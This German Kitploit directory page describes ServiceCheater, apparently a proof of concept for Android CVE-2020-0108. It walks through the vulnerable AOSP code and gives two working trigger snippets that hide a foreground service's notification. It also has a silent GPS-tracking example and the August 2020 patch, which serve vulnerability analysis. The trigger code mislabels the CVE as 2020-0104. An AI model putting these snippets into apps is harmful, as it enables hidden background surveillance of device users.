Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ServiceCheater — PoC für CVE-2020-0108 | Kitploit
Tools/GitHubGitHub/crackercat/servicecheater
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationPenetrationstestsMobile Sicherheit
GitHubcrackercat/servicecheater

ServiceCheater

PoC für CVE-2020-0108

Repository anzeigen
111vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-0108 Analyse der Berechtigungserweiterung des Vordergrunddienstes

1. Hintergrund der Schwachstelle

  • Im AOSP-Patch vom August 2020 wurde eine Schwachstelle im Framework Layer AMS mit der Nummer CVE-2020-0108 und der Bewertung 'High' offengelegt. Es handelt sich um eine logische Schwachstelle in der Verarbeitung von Vordergrunddiensten im AMS. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann die Benachrichtigungsanzeige des Vordergrunddienstes umgehen und kontinuierlich im Hintergrund laufen. Der Angriff muss von einer lokalen bösartigen App ausgehen und erfordert keine Benutzerinteraktion. Wenn der Benutzer der App andere Berechtigungen erteilt hat, kann dies größeren Schaden anrichten, z. B. durch kontinuierliche Standortverfolgung oder stilles Aufnehmen.

2. Details der Schwachstelle

  • Der Vordergrunddienst ist ein von Google in Android 8.0 eingeführtes Konzept. Da Android 8.0 das Starten von Hintergrunddiensten im Hintergrund nicht zulässt, wurde das Konzept des Vordergrunddienstes entwickelt. Vordergrunddienste haben eine höhere Priorität und können lange im Hintergrund laufen, müssen jedoch innerhalb von 5 Sekunden nach dem Start eine Benachrichtigung binden, da sonst werden sie beendet. Tatsächlich läuft der Vordergrunddienst immer noch im 'Hintergrund', aber da er eine für den Benutzer sichtbare Benachrichtigung bindet, nennt Google ihn 'Vordergrunddienst'.
  • Die Schwachstelle hat zwei Angriffsmethoden, die zwei logischen Schwachstellen entsprechen.
  • Die erste Schwachstelle befindet sich in der Methode onNotificationError im NotificationManagerService, die Ausnahmen bei der Benachrichtigungsanzeige nicht korrekt behandelt.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • In diesem Fall wird der Vordergrunddienst nach dem Start nicht beendet, selbst wenn die Benachrichtigung nicht korrekt angezeigt wird. Wenn der Vordergrunddienst beispielsweise beim Erstellen der Benachrichtigung ein benutzerdefiniertes Layout verwendet und beim Erstellen des RemoteViews-Objekts eine nicht vorhandene resID übergibt, schlägt die Analyse des Layouts durch den NotificationManagerService fehl, löst eine Ausnahme aus und ruft die Methode onNotificationError auf. Da die Methode onNotificationError nur die Methode cancelNotification aufruft, um die Benachrichtigung zu stornieren, ohne den Dienst oder die gesamte Anwendung zu beenden, läuft der Vordergrunddienst ohne Anzeige der Benachrichtigung weiter.
  • Die zweite Schwachstelle befindet sich in der Methode postNotification im ServiceRecord, die Ausnahmen bei der Benachrichtigungsanzeige nicht korrekt behandelt, sondern die Ausnahme an das Benutzerprogramm weiterleitet.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • In diesem Fall wird der Vordergrunddienst nach dem Start nicht beendet, wenn das Benutzerprogramm die Ausnahme im Hauptthread abfängt, selbst wenn die Benachrichtigung nicht korrekt angezeigt wird. Wenn der Vordergrunddienst beispielsweise beim Erstellen der Benachrichtigung eine ungültige Channel-ID übergibt, wird beim Senden der Benachrichtigung in der Methode postNotification des ServiceRecord eine Ausnahme ausgelöst. Im Ausnahmebehandlungsprozess wird nur die Methode crashApplication des AMS aufgerufen, um dem Programm eine Ausnahme im Hauptthread zu werfen. Wenn das Programm die Ausnahme im Hauptthread jedoch abfängt, stürzt es nicht ab, und der Vordergrunddienst läuft ohne Anzeige der Benachrichtigung weiter.

3. Verifikation der Schwachstelle

  • Die erste Schwachstelle kann im Vordergrunddienst mit folgendem Code ausgelöst werden
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • Als wir das RemoteViews-Objekt erstellt haben, haben wir die Layout-ID auf -1 gesetzt, was offensichtlich ein ungültiger Wert ist. Dadurch wird der onNotificationError-Callback ausgelöst.
  • Die zweite Schwachstelle kann im Vordergrunddienst mit folgendem Code ausgelöst werden
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • Diesmal haben wir kein NotificationChannel-Objekt erstellt und direkt eine ungültige Channel-ID verwendet, um die Notification zu erstellen. Dadurch wird die Ausnahme in der postNotification-Methode ausgelöst, und dann fangen wir die Ausnahme im Hauptthread ab, sodass die Anwendung nicht abstürzt.

4. Auswirkungen der Schwachstelle

  • Bei erfolgreicher Ausnutzung dieser Schwachstelle kann eine bösartige App im Hintergrund stillschweigend einen hochpriorisierten Vordergrunddienst starten und kontinuierlich ausführen.
  • Größere Auswirkungen hat die Standortverfolgung durch die App mithilfe der Standortberechtigung. Da ein Vordergrunddienst verwendet wird, kann die Standortverfolgung auch im 'Hintergrund' erfolgen, selbst wenn 'Nur Vordergrundzugriff auf Standort' ausgewählt wurde, und der Benutzer bemerkt es nicht.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Patch der Schwachstelle

  • Google hat diese Schwachstelle im Patch vom August 2020 behoben. Die Hauptänderung besteht darin, dass im onNotificationError-Callback die Anwendung zwangsweise zum Absturz gebracht wird, und auch in der Ausnahmebehandlung der postNotification-Methode wird die Anwendung zwangsweise zum Absturz gebracht. Im crashApplication-Verfahren im erzwungenen Modus mit force=true beendet das AMS die Anwendung innerhalb von 5 Sekunden nach dem Auslösen der Ausnahme zwangsweise, selbst wenn die Anwendung die Ausnahme abfängt.
  • In der Methode onNotificationError wird crashApplication aufgerufen, um die Anwendung zum Absturz zu bringen, und force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • In der Ausnahmebehandlung der postNotification-Methode wird die Methode killMisbehavingService aufgerufen, um den fehlerhaften Dienst zu beenden.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • In der Methode killMisbehavingService wird neben der Synchronisation ebenfalls crashApplication aufgerufen.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • Die Behandlung von force=true ist wie folgt: Innerhalb von 5 Sekunden nach dem Auslösen der Ausnahme wird die Anwendung zwangsweise beendet.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Tool herunterladen